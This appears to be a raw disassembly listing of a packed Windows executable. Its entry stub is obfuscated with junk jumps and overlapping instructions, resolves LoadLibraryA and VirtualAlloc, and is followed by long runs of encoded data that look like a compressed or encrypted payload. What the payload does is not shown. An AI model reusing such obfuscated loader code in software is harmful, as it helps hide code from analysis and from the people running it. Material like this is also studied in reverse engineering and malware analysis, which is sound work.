dword_4B3CA8	dd 0			; DATA XREF: sub_41A670+5Ar
					; sub_41BE00+34Cr ...
dword_4B3CAC	dd 0			; DATA XREF: sub_41A670+Dr
					; sub_41D500+61r ...
dword_4B3CB0	dd 0			; DATA XREF: sub_41A670+33r
					; sub_41D500+51r ...
dword_4B3CB4	dd 0			; DATA XREF: sub_41A670+4Dr
					; sub_41E360+60r ...
dword_4B3CB8	dd 0			; DATA XREF: sub_421170+7A2r
					; sub_421D50+2Cr ...
dword_4B3CBC	dd 0			; DATA XREF: sub_41A670+24r
					; sub_41E320+6r ...
dword_4B3CC0	dd 0			; DATA XREF: _294ADE7B:00430A02r
dword_4B3CC4	dd 0			; DATA XREF: sub_41D500+134r
					; _294ADE7B:00430A74r
		dd 11h dup(0)
dword_4B3D0C	dd 0			; DATA XREF: sub_4307B0r
		dd 29Fh	dup(0)
		db 0
SEH_417770	db 3 dup(0)		; DATA XREF: sub_417770+2o
		align 1000h
CEF7B5AD	ends

; Section 5. (virtual address 000B5000)
; Virtual size			: 00008000 (  32768.)
; Section size in file		: 00008000 (  32768.)
; Offset to raw	data for section: 000B5000
; Flags	C00000E0: Text Data Bss	Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Uninitialized
; Segment permissions: Read/Write
_29C6B529	segment	para public 'BSS' use32
		assume cs:_29C6B529
		;org 4B5000h
		assume es:nothing, ss:nothing, ds:_294ADE7B, fs:nothing, gs:nothing
		dd 0B5028h, 2 dup(0)
		dd 0B504Fh, 0B5028h, 5 dup(0)
		dd 77E805D8h, 77E7980Ah, 0
aLoadlibrarya	db 'LoadLibraryA',0
		align 2
aVirtualalloc	db 'VirtualAlloc',0
aKernel32_dll_0	db 'KERNEL32.dll',0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		movsx	ecx, cl
		imul	ecx, esi
		movzx	ecx, si
		stc
		jb	short near ptr loc_4B5068+1


loc_4B5068:				; CODE XREF: start+Aj
		db	67h
		call	near ptr loc_4B506E+1


loc_4B506E:				; CODE XREF: start:loc_4B5068p
		rep pop	ecx
start		endp ; sp-analysis failed

		jmp	short loc_4B5074
; ---------------------------------------------------------------------------
		dw 67BEh
; ---------------------------------------------------------------------------


loc_4B5074:				; CODE XREF: _29C6B529:004B5070j
		jmp	short loc_4B5078
; ---------------------------------------------------------------------------
		dw 8CF7h
; ---------------------------------------------------------------------------


loc_4B5078:				; CODE XREF: _29C6B529:loc_4B5074j
		clc
		jnb	short loc_4B507C
		sahf


loc_4B507C:				; CODE XREF: _29C6B529:004B5079j
		call	near ptr loc_4B5081+2


loc_4B5081:				; CODE XREF: _29C6B529:loc_4B507Cp
		mov	word ptr [esi+58h], es
		clc
		jnb	short near ptr loc_4B5087+1


loc_4B5087:				; CODE XREF: _29C6B529:004B5085j
					; _29C6B529:004B509Cj
		call	near ptr 693F2983h
		add	[edx+edx*2+4Bh], bl
		and	al, 0A5h
		jmp	short loc_4B5096
; ---------------------------------------------------------------------------
		db 0A5h, 0E6h
; ---------------------------------------------------------------------------


loc_4B5096:				; CODE XREF: _29C6B529:004B5092j
		repne or eax, ebx
		stc
		jb	short near ptr loc_4B509C+1


loc_4B509C:				; CODE XREF: _29C6B529:004B509Aj
		jnb	short near ptr loc_4B5087+2
		add	cl, [esi]
		inc	edx
		pop	esi
		jmp	short loc_4B50A6
; ---------------------------------------------------------------------------
		db 41h,	0A8h
; ---------------------------------------------------------------------------


loc_4B50A6:				; CODE XREF: _29C6B529:004B50A2j
		add	eax, 1F9364A8h
		repne rol eax, 12h
		repne sub al, 0F2h
		neg	eax
		rol	esi, 58h
		and	al, 9Ch
		jmp	short loc_4B50BD
; ---------------------------------------------------------------------------
		db 0CDh
		db 20h
; ---------------------------------------------------------------------------


loc_4B50BD:				; CODE XREF: _29C6B529:004B50B9j
		jmp	short loc_4B50C1
; ---------------------------------------------------------------------------
		db 0CDh
		db 20h
; ---------------------------------------------------------------------------


loc_4B50C1:				; CODE XREF: _29C6B529:loc_4B50BDj
		repne ror eax, 0Ah
		stc
		jb	short near ptr loc_4B50C8+1


loc_4B50C8:				; CODE XREF: _29C6B529:004B50C6j
		cmp	al, 0F3h
		push	400h
		clc
		jnb	short near ptr loc_4B50D2+1


loc_4B50D2:				; CODE XREF: _29C6B529:004B50D0j
		db	64h
		rol	eax, 10h
		imul	ecx, esi
		movzx	eax, si
		stc
		jb	short loc_4B50E0
		xchg	eax, ebp


loc_4B50E0:				; CODE XREF: _29C6B529:004B50DDj
		and	eax, ecx
		pop	ebx
		add	cl, 65h
		jmp	short loc_4B50E9
; ---------------------------------------------------------------------------
		db 46h
; ---------------------------------------------------------------------------


loc_4B50E9:				; CODE XREF: _29C6B529:004B50E6j
		jmp	short loc_4B50ED
; ---------------------------------------------------------------------------
		db 0CDh
		db 20h
; ---------------------------------------------------------------------------


loc_4B50ED:				; CODE XREF: _29C6B529:loc_4B50E9j
		xor	eax, 1Dh
		jmp	short loc_4B50F3
; ---------------------------------------------------------------------------
		db 41h
; ---------------------------------------------------------------------------


loc_4B50F3:				; CODE XREF: _29C6B529:004B50F0j
		shl	eax, 1
		mov	ecx, ebx
		clc
		jnb	short near ptr loc_4B50FA+1


loc_4B50FA:				; CODE XREF: _29C6B529:004B50F8j
		add	eax, 26E181F3h
		and	eax, 892C9772h
		mov	dl, [esi]
		clc
		jnb	short near ptr loc_4B5109+1


loc_4B5109:				; CODE XREF: _29C6B529:004B5107j
		in	al, 0F3h
		imul	eax, 4631772Eh
		jmp	short loc_4B5115
; ---------------------------------------------------------------------------
		db 0DCh
		db 0C5h
; ---------------------------------------------------------------------------


loc_4B5115:				; CODE XREF: _29C6B529:004B5111j
		and	eax, eax
		call	near ptr loc_4B511C+1


loc_4B511C:				; CODE XREF: _29C6B529:004B5132j
					; _29C6B529:004B5117p
		xor	[eax-0Dh], ebx
		xchg	eax, ecx
		ror	ecx, 5
		jmp	short loc_4B5127
; ---------------------------------------------------------------------------
		db 0ECh, 0E9h
; ---------------------------------------------------------------------------


loc_4B5127:				; CODE XREF: _29C6B529:004B5123j
		rep or eax, edx
		jmp	short loc_4B512D
; ---------------------------------------------------------------------------
		db 0F4h
; ---------------------------------------------------------------------------


loc_4B512D:				; CODE XREF: _29C6B529:004B512Aj
		add	dl, bl
		clc
		jnb	short near ptr loc_4B5132+1


loc_4B5132:				; CODE XREF: _29C6B529:004B5130j
		jg	short loc_4B511C
		add	al, [eax]
; ---------------------------------------------------------------------------
		dw 0
		dd 0F25859B3h, 2EBC83Bh, 2EB20CDh, 0EA8107CCh, 0F59681F3h
		dd 0F2C2AF0Fh, 0BC2B60Fh, 0CB01EBCBh, 1F5902EBh, 80D0F7F3h
		dd 0C81323EAh, 0F80173F8h, 0EBCA2BF3h, 0EB20CD02h, 806C0B02h
		dd 0B60F02C2h, 1E806h, 58460000h, 0A80173F8h, 0EB0EB60Fh
		dd 0F2806901h, 173F81Ah, 0F9C98588h, 0EB2B0172h, 81916501h
		dd 2624DBEAh, 2601EB7Dh, 0F22401EBh, 1EBC18Bh, 6DE883F4h
		dd 2E8D32Ah, 71000000h,	3F25838h, 0CA8BF2CAh, 78C502EBh
		dd 0F318C8C1h, 834FEA80h, 24F271E1h, 172F96Bh, 172F99Bh
		dd 0FE02EBF3h, 0EB168840h, 73F81F01h, 1E80301h,	0A8000000h
		dd 0C185F359h, 0F3C70BF2h, 3F24046h, 6601EBC3h,	20CD02EBh
		dd 4BC20BF3h, 0F2CFAF0Fh, 0EBCFB70Fh, 2EB7B01h,	72F920CDh
		dd 2E8B301h, 6D000000h,	6BF35936h, 0D83B00C0h, 0EBC9B60Fh
		dd 0F528002h, 0B60FC9BEh, 0A902EBC9h, 0BE0FF2C1h, 6001EBC9h
		dd 0C1F2D0F7h, 2EB0AC1h, 850FFA81h, 0FFFFFEA7h,	0CF02EB49h
		dd 9901EB54h, 2EBD9F7h,	0EBB939h, 0F01FE6Bh, 0F2F3FFB7h
		dd 8FCF81h, 0BF20000h, 0FFBF0FFBh, 1E8h, 0F85ECF00h, 0F2CC0173h
		dd 0C8F2F681h, 0AF0F25F5h, 0F3B60FF3h, 0F875EE83h, 0F85F0173h
		dd 0EB4B0173h, 13C90902h, 0EBFE87FEh, 0EB1A3202h, 2EB4601h
		dd 68F23C68h, 4B565Ch, 467801EBh, 20CD02EBh, 0F3FAB60Fh
		dd 0CE81F28Bh, 0C440FE4h, 2E8h,	5F1F3F00h, 20CD02EBh, 5B4001EBh
		dd 2EBFA8Bh, 0FE0B20CDh, 2EBD7F7h, 2EB20CDh, 0CFC120CDh
		dd 173F814h, 173F833h, 6E4DB8C4h, 0AF0F0000h, 0F2B60FFAh
		dd 2EBF733h, 0FF856290h, 765602EBh, 8ECA02EBh, 20CD02EBh
		dd 0F22801EBh, 0B60FFB8Bh, 0F2F933F2h, 8B02FF69h, 0B70F6022h
		dd 0A202EBFFh, 172F908h, 0C1F7D114h, 2EB13F7h, 0B60F20CDh
		dd 0F683F30Bh, 8901EB3Fh, 72F94FF2h, 83F29901h,	2EB15E7h
		dd 0F68130F0h, 29A9230h, 0F2F2FB03h, 0EB6AF683h, 4720CD02h
		dd 2EBFF0Bh, 2EB20CDh, 73F820CDh, 0FE03D901h, 0AF0172F9h
		dd 23501EBh, 172F9C8h, 173F893h, 0CD02EB32h, 1CCEC120h
		dd 20CD02EBh, 93C102EBh, 2EBF88Bh, 73F8C093h, 0C8321201h
		dd 0C781FE87h, 4D33FCh,	20CD02EBh, 9A6702EBh, 1E8h, 0F95FD300h
		dd 0F99A0172h, 0F8130172h, 0EB020173h, 0E9810001h, 5F9E1980h
		dd 3BF88BF3h, 0F301EBFFh, 2E8h,	5F2F5F00h, 20CD02EBh, 333102EBh
		dd 85FA33F2h, 0B70FF3FEh, 0F181F3FFh, 2121079Eh, 20CD02EBh
		dd 0E783F73Bh, 48EF8109h, 812644B8h, 13225CC7h,	0CD02EB20h
		dd 0F713F220h, 0E7C1DEF7h, 0E8C80208h, 1, 0B60F5F88h, 3702EBFBh
		dd 0CD02EB17h, 0DEF7F220h, 0DCCC02EBh, 85338B4Eh, 0F2C832FEh
		dd 87F2FA1Bh, 172F9FEh,	0F8AF0FD1h, 0F8B60FF3h,	0F310CFC1h
		dd 0F80EEFC1h, 0EB620173h, 13F22C01h, 0CAF181F1h, 0EB207264h
		dd 0F9C99302h, 0F8320172h, 81E40173h, 0C0A840EEh, 0C1F73BE8h
		dd 87F210C6h, 7901EBFEh, 37EE83F3h, 11B3E981h, 0F2467B5Dh
		dd 0E8F8B60Fh, 1, 13F35EEDh, 173F8F3h, 0C681F37Ch, 9A7D3B3Eh
		dd 0C1D901EBh, 4EF209EEh, 2E8C802h, 3C000000h, 73F85E1Eh
		dd 1EBA301h, 0C781F2B4h, 0F2h, 23F3EFD1h, 0F73BF2F8h, 1E8h
		dd 0F85FC700h, 0F2D80173h, 0B8F6F181h, 2EBC127h, 2EB20CDh
		dd 2E824F7h, 27000000h,	1EB5F93h, 172F912h, 1802EB82h
		dd 0EBFE8742h, 0F920CD02h, 810E0172h, 0CDF83E9h, 0F683F310h
		dd 0EE8137h, 0F74B76B1h, 81F3F2DFh, 0BBF6h, 172F900h, 173F84Bh
		dd 173F812h, 8801EB42h,	0F29801EBh, 0D0A6F181h,	0FE87BB20h
		dd 2E8h, 5E902000h, 0FF3F82Bh, 0C681F1B6h, 0C5h, 9AEC02EBh
		dd 0FFB70FF3h, 1E8h, 0F85E3300h, 2A460173h, 1E8C8h, 5F3D0000h
		dd 0C1F323F2h, 72F915EEh, 83F20D01h, 1BF265F7h,	172F9F1h
		dd 173F88Fh, 0E683F251h, 0EB0B886Bh, 0EB319F02h, 0EB20CD02h
		dd 0F320CD02h, 0C683FE87h, 6BD6F729h, 2EB65F7h,	1EB20CDh
		dd 0F43F366h, 0B60FF9AFh, 0FBB60FF9h, 9B6E02EBh, 20CD02EBh
		dd 53C683F2h, 0FF2AF0Fh, 0BE0FFAB6h, 9CFC1F0h, 0E848DFF7h
		dd 2, 0F85F8204h, 0F2100173h, 73F8FF3Bh, 0F12B5D01h, 20CD02EBh
		dd 6FC683F3h, 20CD02EBh, 0C64402EBh, 0C73BFF2Bh, 2E8h
		dd 5FF8F100h, 0FFB70FF3h, 1A5302EBh, 2E8h, 5F69D200h, 0FFBF0FF3h
		dd 0EBFABE0Fh, 0F3DA6002h, 0F3FFBF0Fh, 8BFFBF0Fh, 0CFC1F3F3h
		dd 0EBF78B16h, 0F335C402h, 0EBFFBF0Fh, 0F20CD02h, 0BE0FFFBFh
		dd 0FFE87FBh, 0FFFCDD85h, 0E001EBFFh, 0FF2DEF7h, 1EBF8BEh
		dd 0CEC1F2FDh, 1E80Bh, 5EDD0000h, 0F3F3AF0Fh, 0EBFBB60Fh
		dd 0C17C6C02h, 0EB1CE6h, 0ACD4B855h, 0B9B3EFh, 35000002h
		dd 0B3AFACD4h, 32FFCA83h, 0D3FF0154h, 0E8F8E2C2h, 0F2h
		dd 5028BDFCh, 46A004Bh,	300068h, 0C0006800h, 8B510000h
		dd 3A800455h, 0C1940FCCh, 0D2FFD103h, 756958Dh,	52500000h
		dd 748B6050h, 7C8B2424h, 0CD832824h, 0F9C933FFh, 68A0CEBh
		dd 47078846h, 973DB02h,	1E8AF475h, 72DB1246h, 1B8EDh, 0DB020000h
		dd 1E8A0575h, 13DB1246h, 73DB02C0h, 8A0775F1h, 0DB12461Eh
		dd 0E883E873h, 0C10D7203h, 68A08E0h, 0FFF08346h, 0E88B6E74h
		dd 575DB02h, 12461E8Ah,	2C913DBh, 8A0575DBh, 0DB12461Eh
		dd 1C75C913h, 75DB0241h, 461E8A05h, 0C913DB12h,	0F173DB02h
		dd 1E8A0775h, 73DB1246h, 2C183E8h, 0F300FD81h, 0D183FFFFh
		dd 3D548D01h, 0FCFD8300h, 28A0E76h, 47078842h, 0E9F77549h
		dd 0FFFFFF70h, 0C283028Bh, 83078904h, 0E98304C7h, 3F17704h
		dd 0E9C933F9h, 0FFFFFF58h, 28247C2Bh, 1C247C89h, 0B958C361h
		dd 0F2h, 0FF015428h, 0F8E2C2D3h, 2EBC350h, 7C83490Ch, 0EB000424h
		dd 68490C02h, 4B5795h, 0C30C01EBh, 47FEE900h, 0A468779Ch
		dd 0EB004B57h, 0C30C01h, 490C02EBh, 24648D55h, 57B868F0h
		dd 32E9004Bh, 0C779C52h, 2EBEC8Bh, 75FF20CDh, 0C02EB08h
		dd 57CF6849h, 1EB004Bh,	0E900C30Ch, 779C5069h, 0F024648Dh
		dd 4B57E368h, 5207E900h, 0EB0C779Ch, 5520CD02h,	8B00F0C1h
		dd 0CD02EBECh, 1075FF20h, 490C02EBh, 8D0C75FFh,	68F42464h
		dd 4B580Ah, 9C463FE9h, 75FF0C77h, 0C02EB08h, 0C1FF6A49h
		dd 2EB00F0h, 23E9490Ch,	0EB779C46h, 6820CD02h, 4B582Dh
		dd 0C30C01EBh, 648D5500h, 3D68F024h, 0E9004B58h, 779C3FE5h
		dd 0EBEC8B0Ch, 0FF20CD02h, 2EB1475h, 75FF490Ch,	24648D10h
		dd 585C68F0h, 0C6E9004Bh, 0C779C3Fh, 0EB0C75FFh, 0FF490C02h
		dd 2EB0875h, 0FF6A490Ch, 490C02EBh, 0E90C01EBh,	779C3FA3h
		dd 0EB0C01EBh, 83490C02h, 4247Ch, 4B588E68h, 0C01EB00h
		dd 0C15300C3h, 685600F0h, 4B589Dh, 0C30C01EBh, 0C02EB00h
		dd 0AD39E949h, 2EB779Ch, 0F02490Ch, 3B6F1265h, 0F6C1FF1Ch
		dd 7B037A00h, 156FC001h, 0FB8020CDh, 840FFF3Fh,	1E981AC0h
		dd 0EB313FDEh, 190DFB2Ch, 0EBCC0612h, 1B11F803h, 0E60F51DDh
		dd 0F403FBEBh, 78577615h, 4D920077h, 8A780C37h,	8C4DA3BDh
		dd 7CFF2624h, 5F017D03h, 0B99F297Dh, 192D4C17h,	0AECCDB0Fh
		dd 0C1FD75FBh, 0AC5200F7h, 296C15EAh, 7A037D64h, 0E8DC0C0h
		dd 0BA7383A2h, 770376FBh, 1912D401h, 0DD88068Bh, 0BCEF1C03h
		dd 0C8AFA929h, 179DD2Fh, 0F0C1DD08h
		dd 0D6F68C44h, 0FF07B60Fh, 298D2AB5h, 21DDED00h, 93708DECh
		dd 38D66F0Eh, 0DAF7C1D9h, 0EF457ED9h, 85A777ACh, 156E7752h
		dd 7715FDC3h, 8BBF1A8Dh, 2BBC627h, 0DB1DD8CBh, 0BAB7A103h
		dd 6F07ED45h, 3B0E03F7h, 1F89A5F1h, 2766AC83h, 2659E461h
		dd 931F63Bh, 0BE134937h, 39F08F8Fh, 351B56F6h, 558613FFh
		dd 454EE8h, 96120084h, 0DDF57089h, 0BC221528h, 0DB2D04BCh
		dd 16E1BDCFh, 0DD1FB95Ah, 0C371195Dh, 0A85E38Ah, 0A3169B0Ch
		dd 59B37991h, 0A8EAEDCFh, 0B4EC04AAh, 3061633Ah, 2025E79Ch
		dd 47F2FD16h, 0BBFE04E9h, 0E7F5C134h, 1733523Bh, 3747D29h
		dd 0BBE10175h, 16D6C108h, 0F3F0319h, 0FF5E5BF3h, 0CC25Fh
		dd 0F08B5156h, 0FFC983FCh, 2F46068Ah, 321474FCh, 8B0C8FFh
		dd 673E9D1h, 20F1FF81h,	0FEEDB883h, 0F2FF75C8h,	0C18BE5EBh
		dd 8C35E59h, 0F01087A8h, 0F2C11283h, 392B3F7h, 0C8504058h
		dd 5AE33B79h, 0A073ED68h, 341B9EEDh, 0C3B5EC04h, 0EA641DB9h
		dd 0A1B8A61Bh, 57BC4C85h, 622B0C8Ch, 852A1E6Fh,	4D090E33h
		dd 774C7932h, 67F02723h, 0E066CCC9h, 0F45033DBh, 7D8894ECh
		dd 0D5CC1C03h, 86051C8Ch, 9E0F03CFh, 0DF505E36h, 0C1EEB804h
		dd 0F8B360F6h, 0F4C1A70Fh, 96A716Eh, 6A12ED77h,	0E609AD03h
		dd 933B03B1h, 6D08DBAAh, 51B0F103h, 0D86E472Eh,	0FED86812h
		dd 62D0767Fh, 430E101Bh, 0CCB8D4C1h, 138E734Ch,	6E439318h
		dd 7F037EFBh, 36B7B001h, 0E32C7812h, 0E1EE9267h, 0EC21504Ah
		dd 0F57649ABh, 0C10F5000h, 0CE0800F1h, 7052D47Fh, 1D87103h
		dd 4FD93B3Ah, 4FA37BD6h, 4DB41B11h, 60985CDFh, 5A9FD3D5h
		dd 9C0809DDh, 1974036Eh, 0FEC20210h, 4B244F1Ch,	0F6094EDFh
		dd 0C6F612B7h, 2DBCBA35h, 0D403D8CEh, 49B090CBh, 517ADFB6h
		dd 42A41E77h, 0FF7AF480h, 0C5D47500h, 303BE0Fh,	0C6DC2A34h
		dd 0F6704A26h, 3AAFCF1Ah, 3C45FE0Fh, 31308D7h, 0B105604Bh
		dd 45842644h, 416898CAh, 43EBB722h, 42F0F0D6h, 0CC0C65FFh
		dd 0EF389A82h, 0DF14CDCFh, 0F6C1C6ECh, 8DAFEB11h, 0F0139710h
		dd 0C17DB908h, 219CF4C1h, 0D8E460F3h, 0A9CF0D21h, 7DBDE98Dh
		dd 0FD305A06h, 0F1C1205Ch, 6401D597h, 91CED9FCh, 250B7732h
		dd 5E2C65B6h, 49650138h, 87F48434h, 0DA771836h,	0ABB5923h
		dd 0D6D18BCDh, 1D3D9090h, 1C459F5Ah, 0F1B3C1C4h, 198F8410h
		dd 0AADFDF35h, 758BA0h,	0D2760318h, 0FE48F0E1h,	12D7F62Fh
		dd 93A33628h, 992B84Dh,	3FC2133h, 80DDF6D4h, 815C0D3Eh
		dd 67F05DAFh, 89869386h, 0DB37030Fh, 0B8780B3Ch, 9D0B6D3Ch
		dd 0EE56BF4Ch, 370D70Fh, 402954Eh, 8188FB32h, 8D771296h
		dd 1DD74A0h, 377991Bh, 7709E8AAh, 72656B1Fh, 6C656EFBh
		dd 0DFDC3233h, 0BB4835A2h, 612DDEECh, 44B571F6h, 7ED15C36h
		dd 0D6FF1B9Dh, 2E101532h, 0C6539FCCh, 9E116E0Eh, 9600F7C1h
		dd 0E662EB4Ch, 1A441B0Dh, 0F5B5AF7h, 43039A5Bh,	84E0B18Fh
		dd 0F630479Ch, 0FF082996h, 815DA356h, 6062DC5h,	240D0C59h
		dd 36D4C890h, 0C4360D5Fh, 86C7D72h, 908C35CDh, 89C9F8FFh
		dd 630118BDh, 374F8F1h,	58BEBBA3h, 76BAD2C4h, 0E27D2EE1h
		dd 4BEF9BDh, 971AF4FAh,	22F66BFBh, 0C346DF73h, 0B7D875D8h
		dd 0FB266986h, 2759EB1Fh, 278EA37Ah, 3C0208FEh,	0CB2DFB55h
		dd 4B80AC54h, 0CCC3B360h, 896459FFh, 8DE921h, 717D1800h
		dd 9C9F87CEh, 2D8F360h,	0B8FAD90Dh, 665ADEE2h, 38D81573h
		dd 611B6C67h, 583E92ADh, 2EE40D01h, 9E9DCA9Dh, 0CEADF412h
		dd 3DFFD74Bh, 9BEBC92Bh, 26774802h, 90FEDFB0h, 0BF89180Ch
		dd 7FAC3C14h, 31FF640Ah, 0FF47E9E0h, 27A49AC1h,	0CBFA0EA7h
		dd 8F958B6h, 0F8FECE4Eh, 7F936028h, 0EF366A09h,	0BECB1A3Dh
		dd 0C76CE08h, 0FB10FDAh, 10C9B1BEh, 0E65915C2h,	0F4145E76h
		dd 2DF2B52Bh, 0E8F7105h, 0F7BB586Ah, 0B66C49DAh, 3D8DFB43h
		dd 7F094731h, 490172F9h, 1F4BDF33h, 8A127E36h, 0B60EEE16h
		dd 28EF02E8h, 3258A346h, 6816D3B7h, 9AF2FB81h, 8CF9580h
		dd 0D020477h, 1688C07Fh, 0AE8C1F2h, 0F346F2FEh,	0F34BC023h
		dd 0C9C1A925h, 0F304BDF2h, 9D6D83Bh, 27F71CC2h,	7F3DBC75h
		dd 6B8E0764h, 0FF66646Ah, 3A18D5FCh, 6E617160h,	51A990FFh
		dd 590FE868h, 9E12FF61h, 0E379EE22h, 4CDB5D67h,	0FF641B63h
		dd 229544h, 57187166h, 61093AFFh, 0E7C55A4h, 136BB7D6h
		dd 33F46019h, 2F781146h, 647C23E1h, 0C83F0EBFh,	0BAF8FFD7h
		dd 75667158h, 67B74A62h, 0FF6E6A2Fh, 609EA0F5h,	0DE447A51h
		dd 8EA0E9FFh, 6A7A2790h, 9560FF79h, 0ED99EABCh,	1EFF9A9Bh
		dd 72671B61h, 6FBB6891h, 916490ADh, 0C8267AFFh,	44976289h
		dd 6514DB33h, 90FF3900h, 0D4B95971h, 0B750A70Dh, 3F207F62h
		dd 0EB61ECFBh, 7E3FB163h, 634EE475h, 0B95BDF62h, 0FF02C097h
		dd 0E919F060h, 4EE7C31Bh, 28AD3FBh, 867F0CA0h, 6FF5DB31h
		dd 6009FF66h, 697181F1h, 23FF2767h, 67F361F6h, 0F6691B75h
		dd 0DD61DC64h, 69DCFE7Fh, 5AEC67EFh, 3B7A87EEh,	607FDF15h
		dd 7772F5FBh, 15BD620Bh, 98BED8EDh, 44B7F66Fh, 0EF836916h
		dd 85D79C68h, 40FD43A9h, 9768716Eh, 979FBF4Ah, 55587142h
		dd 674CAFEDh, 6464F027h, 76BF2EF5h, 0C37CDAE3h,	647AD833h
		dd 950EFE7Fh, 7A680220h, 151A43EDh, 604ED7BFh, 0D8376A11h
		dd 0B7971E44h, 0EC78420Dh, 8F667D23h, 0FAD3567Fh, 0FB495EB8h
		dd 51137560h, 3B7BC19Fh, 0FE5F5C86h, 80C2EB27h,	0BF53E06Eh
		dd 0DE15441Fh, 10B62B8h, 1467FE11h, 0E38D6689h,	0AB8FFF92h
		dd 0F75E18F3h, 627DA760h, 26E7FB7Fh, 0B82F335Ch, 4766549Bh
		dd 0A1FB486Fh, 517F2EC2h, 0A7BEDE78h, 4F648471h, 0EDC0195Bh
		dd 7E71183Eh, 0FB801685h, 0FAE5FB55h, 9CF63F12h, 78DB6FF5h
		dd 38DB6A0Fh, 0FFE04111h, 0B6617943h, 61E2A63Ah, 3D63DFECh
		dd 0EBF5ED6Fh, 0E178490Bh, 0B149862Bh, 299CB57Fh, 0C2647027h
		dd 0FDC16D23h, 50586199h, 974FFD8Ah, 3BBF00FBh,	4C547991h
		dd 6F8CBF7Fh, 22DBD5E2h, 0D8581D40h, 0FFFFD090h, 0CEF72Eh
		dd 0E565C062h, 0FC7B5E17h, 0C8970666h, 0D72F680Ah, 0FB79045Bh
		dd 0E9FDD319h, 98FE1F0Ch, 6A40AEF5h, 2BEFFF13h,	0E53F0C46h
		dd 0B7A2D579h, 645A1B7Ch, 62889997h, 87F3C8FEh,	84376259h
		dd 4910BF1Bh, 809562FFh, 0E6956A71h, 0E76FB727h, 0EAE1DF99h
		dd 0E9378E08h, 427E025Bh, 7B97E260h, 0E3A680DFh, 69F0899Bh
		dd 0BBB7CBC5h, 3FF1D37Fh, 787BDC1Bh, 7F4C6A08h,	3AF5114Fh
		dd 18669718h, 1DD6FA3h,	0DAFCFE92h, 2426F0FCh, 0FE9F6FA4h
		dd 11FB50D5h, 1C4A3768h, 0F7E1FE87h, 3762409Eh,	8461301h
		dd 0D54FFD7Fh, 8D66B89Ah, 43BF1BBFh, 60596280h,	3B1BFF7Eh
		dd 0DEC86468h, 78ED3BCAh, 0FE5F7CBBh, 98713915h, 0FE8CB1BBh
		dd 0EF7171Fh, 6EA337DCh, 57757F76h, 0D5668FC7h,	0DF4220C2h
		dd 0EBE25A3Fh, 68FF0EC0h, 6D23ED0h, 8D109878h, 7BDBFEECh
		dd 0FF45BF72h, 0FD69FC2Ah, 61EA4E67h, 0AD67E1E1h, 442B7F07h
		dd 44336609h, 0F59EE68Eh, 9CB99E45h, 0CA22472Eh, 44130FDDh
		dd 441B17BBh, 7F0B193Fh, 6951688Eh, 7BB767C2h, 0DDA0757Fh
		dd 7977B5Ch, 88CA13F0h,	709DBE6Eh, 357E6437h, 0BD0FBFFEh
		dd 604A28F5h, 1E3D10FFh, 34EFC8F5h, 646DD8BBh, 7902CF7Fh
		dd 984266F8h, 0FF4F579Bh, 6F4DF5F5h, 0ED79F6EAh, 0E37F857Bh
		dd 7BE08488h, 0C1DAB2F5h
		dd 7681E7A9h, 85EF3775h, 6994FD77h, 19FF6797h, 661187DFh
		dd 0B9DBA55h, 0BF1A171Fh, 0B740E516h, 8C555A9Fh, 0B063AFEFh
		dd 68827F97h, 0ABE6659h, 956651FBh, 760349BDh, 0F83DDCF0h
		dd 99EC9AC5h, 0DFD26C58h, 913D75FFh, 6EF3E469h,	0F8A664AFh
		dd 7E7C3555h, 0FED78317h, 2F6FF714h, 0D66D5439h, 0F100B665h
		dd 0BBE67AAEh, 8F06AB3Fh, 6F9BA11Ch, 19E01E8Fh,	701BE7D2h
		dd 713C61FFh, 641C2B34h, 0C2F0FF18h, 0C7BD80F7h, 72D380EBh
		dd 96325A37h, 0E8DB3F68h, 0FDDF33FFh, 61D48A37h, 0FB63D3E1h
		dd 860346FFh, 4EBEF6FFh, 0BA2BA328h, 811731BFh,	6F184947h
		dd 77FB1BEDh, 0A5A77EC6h, 53BF91DBh, 6AC28F18h,	0B03EC201h
		dd 0F1FF5BC2h, 0D0F7EE66h, 3DBB336Fh, 767D02B7h, 0ED4F8E75h
		dd 0F19F0615h, 73A7E815h, 0DB1963BEh, 7F31F6F4h, 8EF757E1h
		dd 0FF757DBFh, 3568641Bh, 6A850D5Ch, 6BE39E2Fh,	6279F532h
		dd 40BD8D55h, 8D1F5ED3h, 3F2C26AFh, 9575D880h, 17430FC7h
		dd 0C9215F30h, 0FA5B9D74h, 91A36697h, 0DFEFC764h, 5A18E1F7h
		dd 0FB78C778h, 5E5FF863h, 7EB72E55h, 0D7E8CF7Eh, 2F2E67B8h
		dd 371704B3h, 5BDB6375h, 747A3B9Eh, 57BB447Fh, 5762BD0Ah
		dd 1518B65Eh, 376FDFE5h, 0EC691142h, 0FF857EF0h, 55A51067h
		dd 736AEE76h, 0BF18675Dh, 0F07B7CC6h, 682B6A88h, 8FFFF4CFh
		dd 0A815923Fh, 0A1F8A85h, 0F150AD83h, 53201899h, 0ED1F7F8Ch
		dd 0F16AA5BFh, 908F7AFBh, 388F6263h, 3A3F1625h,	0EF47597Ah
		dd 0C0E9FB76h, 0A13F781Eh, 157B3FA8h, 0F21F4E7Ch, 18FE9747h
		dd 639161E8h, 187FDF0Ch, 6F90927Fh, 1C576709h, 0E15C5F1Fh
		dd 5D48AAD5h, 0B6BF17ABh, 21EFBA17h, 80AE7AFEh,	0B27FC66Ah
		dd 170AFF49h, 0E69AB8FEh, 67FDE599h, 0E3EB7537h, 9F0FBB37h
		dd 91A11F64h, 8F4661DFh, 0B0DB841Ch, 0E23EBF5Eh, 61D0F410h
		dd 2467D1FFh, 67D369D8h, 79D0FBC4h, 0FF9C7BE9h,	3FC8AEBFh
		dd 0DFF00AD3h, 91277C95h, 2F82EBC6h, 9D567FA5h,	48FFFDA5h
		dd 0D3791115h, 0BFE2CD5h, 6EDA6741h, 7F17E72Bh,	55E00AD6h
		dd 0C866A8DFh, 3BFB30BFh, 0A31FFFFFh, 0FC8AC817h, 0F161F868h
		dd 0FD2E9F63h, 0FFC6FF95h, 6F2C3521h, 646CA33Fh, 5279E0D2h
		dd 6089A6FFh, 0AA524693h, 66A57FEDh, 0CEFF0839h, 697F1A25h
		dd 1669BF04h, 0ED3FD68Fh, 0D25F5815h, 0DBD06C15h, 0F8071F1Ah
		dd 684A88F7h, 1C076B98h, 4F687F7Fh, 0A3E982F2h,	477AB4ABh
		dd 4F235A09h, 1EEC0EDh,	8633B1BAh, 0F39C3FC7h, 7E98DAEDh
